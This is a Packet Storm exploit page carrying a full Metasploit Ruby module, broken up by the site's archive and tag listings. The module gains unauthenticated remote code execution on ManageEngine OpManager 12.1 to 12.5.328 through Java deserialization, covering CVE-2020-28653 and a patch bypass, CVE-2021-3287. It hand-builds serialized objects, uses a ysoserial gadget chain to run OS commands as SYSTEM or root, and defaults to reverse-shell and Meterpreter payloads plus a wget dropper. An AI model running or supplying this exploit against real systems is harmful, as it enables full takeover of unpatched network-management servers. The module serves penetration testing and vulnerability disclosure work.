ManageEngine OpManager SumPDU Java Deserialization

Authored by Spencer McIntyre, Robin Peraglie, Johannes Moritz | Site metasploit.com

Posted Sep 21, 2021

An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application. This vulnerability is also present in other products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 through 12.5.328.

tags | exploit, java, remote, web, arbitrary
advisories | CVE-2020-28653, CVE-2021-3287
SHA-256 | a64897f563277f473cabf805ba128ebed5a9f941959e6b9130ab7f541f5a6e50 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  include Rex::Java

  JAVA_SERIALIZED_STRING = [ Serialization::TC_STRING, 0 ].pack('Cn')
  JAVA_SERIALIZED_STRING_ARRAY = "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"\
    "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x00".b

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine OpManager SumPDU Java Deserialization',
        'Description' => %q{
          An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged
to
          deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to
execute OS
          commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on
Linux). This
          vulnerability is also present in other products that are built on top of the OpManager application.
This
          vulnerability affects OpManager versions 12.1 - 12.5.328.

          Automatic CVE selection only works for newer targets when the build number is present in the logon
page. Due
          to issues with the serialized payload this module is incompatible with versions prior to 12.3.238
despite them
          technically being vulnerable.
        },
        'Author' => [
          'Johannes Moritz', # Original Vulnerability Research
          'Robin Peraglie', # Original Vulnerability Research
          'Spencer McIntyre' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
        'Platform' => [ 'win', 'linux', 'python', 'unix' ],
        'References' => [
          [ 'CVE', '2020-28653' ], # original CVE
          [ 'CVE', '2021-3287' ], # patch bypass
          [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ]
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win',
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows PowerShell',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win',
              'Type' => :win_psh,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Type' => :nix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux',
              'Type' => :nix_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => 'wget',
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Python',
            {
              'Arch' => ARCH_PYTHON,
              'Platform' => 'python',
              'Type' => :python,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_tcp'
              }
            }
          ]
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
        ],
        'DefaultOptions' => {
          'RPORT' => 8060
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-07-26',
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Stability' => [ CRASH_SAFE ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'OpManager path', '/']),
      OptEnum.new('CVE', [ true, 'Vulnerability to use', 'Automatic', [ 'Automatic', 'CVE-2020-28653', 'CVE-
2021-3287' ] ])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,
'/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
      'data' => build_java_serialized_int(1002)
    })
    return Exploit::CheckCode::Unknown unless res
    # the patched version will respond back with 200 OK and no data in the response body
    return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b)

    Exploit::CheckCode::Detected
  end

  def exploit
    # Step 1: Establish a valid HTTP session
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    })
    unless res&.code == 200 && res.get_cookies =~ /JSESSIONID=/
      fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session')
    end
    print_status('An HTTP session cookie has been issued')
    if (@vulnerability = datastore['CVE']) == 'Automatic'
      # if selecting the vulnerability automatically, use version detection
      if (version = res.body[%r{(?<=cachestart/)(\d{6})(?=/cacheend)}]&.to_i).nil?
        fail_with(Failure::UnexpectedReply, 'Could not identify the remote version number')
      end

      version = Rex::Version.new("#{version / 10000}.#{(version % 10000) / 1000}.#{version % 1000}")
      print_status("Detected version: #{version}")
      if version < Rex::Version.new('12.1')
        fail_with(Failure::NotVulnerable, 'Versions < 12.1 are not affected by the vulnerability')
      elsif version < Rex::Version.new('12.5.233')
        @vulnerability = 'CVE-2020-28653'
      elsif version < Rex::Version.new('12.5.329')
        @vulnerability = 'CVE-2021-3287'
      else
        fail_with(Failure::NotVulnerable, 'Versions > 12.5.328 are not affected by this vulnerability')
      end
    end

    # Step 2: Add the requestHandler to the HTTP session
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,
'/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
      'keep_cookies' => true,
      'data' => build_java_serialized_int(1002)
    })
    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session')
    end
    print_status('The request handler has been associated with the HTTP session')

    if @vulnerability == 'CVE-2021-3287'
      # need to send an OPEN_SESSION request to the SUM PDU handler so the SUMServerIOAndDataAnalyzer object is
      # initialized and made ready to process subsequent requests
      send_sumpdu(build_sumpdu(data: build_java_serialized_int(0)))
    end

    # Step 3: Exploit the deserialization vulnerability to run commands
    case target['Type']
    when :nix_dropper
      execute_cmdstager
    when :win_dropper
      execute_cmdstager
    when :win_psh
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    else
      execute_command(payload.encoded)
    end
  end

  def build_java_serialized_int(int)
    stream = Serialization::Model::Stream.new
    stream.contents << Serialization::Model::BlockData.new(stream, [ int ].pack('N'))
    stream.encode
  end

  def build_sumpdu(data: '')
    # build a serialized SUMPDU object with a custom data block
    sumpdu = "\xac\xed\x00\x05\x73\x72\x00\x27\x63\x6f\x6d\x2e\x61\x64\x76\x65".b
    sumpdu << "\x6e\x74\x6e\x65\x74\x2e\x74\x6f\x6f\x6c\x73\x2e\x73\x75\x6d\x2e".b
    sumpdu << "\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x2e\x53\x55\x4d\x50\x44\x55\x24".b
    sumpdu << "\x29\xfc\x8a\x86\x1b\xfd\xed\x03\x00\x03\x5b\x00\x04\x64\x61\x74".b
    sumpdu << "\x61\x74\x00\x02\x5b\x42\x4c\x00\x02\x69\x64\x74\x00\x12\x4c\x6a".b
    sumpdu << "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b".b
    sumpdu << "\x4c\x00\x08\x75\x6e\x69\x71\x75\x65\x49\x44\x71\x00\x7e\x00\x02".b
    sumpdu << "\x78\x70\x7a" + [ 0x14 + data.length ].pack('N')
    sumpdu << "\x00\x0c\x4f\x50\x45\x4e\x5f\x53\x45\x53\x53\x49\x4f\x4e\x00\x00".b
    sumpdu << "\x00\x00"
    sumpdu << [ data.length ].pack('n') + data
    sumpdu << "\x78".b
    sumpdu
  end

  def send_sumpdu(sumpdu)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,
'/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'),
      'keep_cookies' => true,
      'data' => [ sumpdu.length ].pack('N') + sumpdu
    })
    res
  end

  def execute_command(cmd, _opts = {})
    # An executable needs to be prefixed to the command to make it compatible with the way in which the gadget
chain
    # will execute it.
    case target['Platform']
    when 'python'
      cmd.prepend('python -c ')
    when 'win'
      cmd.prepend('cmd.exe /c ')
    else
      cmd.gsub!(/\s+/, '${IFS}')
      cmd.prepend('sh -c ')
    end

    vprint_status("Executing command: #{cmd}")
    # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to
remove the
    # dependency on the commons-collections library making it usable in this context
    java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd)

    if @vulnerability == 'CVE-2020-28653'
      # in this version, the SUM PDU that is deserialized is the malicious object
      sum_pdu = java_payload
    elsif @vulnerability == 'CVE-2021-3287'
      # the patch bypass exploits a flaw in the ITOMObjectInputStream where it can be put into a state that
allows
      # arbitrary objects to be deserialized by first sending an object of the expected type
      pdu_data = build_java_serialized_int(2) # 2 is some kind of control code necessary to execute the desired
code path
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
      pdu_data << JAVA_SERIALIZED_STRING
      pdu_data << JAVA_SERIALIZED_STRING
      pdu_data << JAVA_SERIALIZED_STRING
      pdu_data << JAVA_SERIALIZED_STRING_ARRAY
      pdu_data << Serialization::TC_RESET
      pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b)
      sum_pdu = build_sumpdu(data: pdu_data)
    end

    res = send_sumpdu(sum_pdu)
    fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200
  end
end
```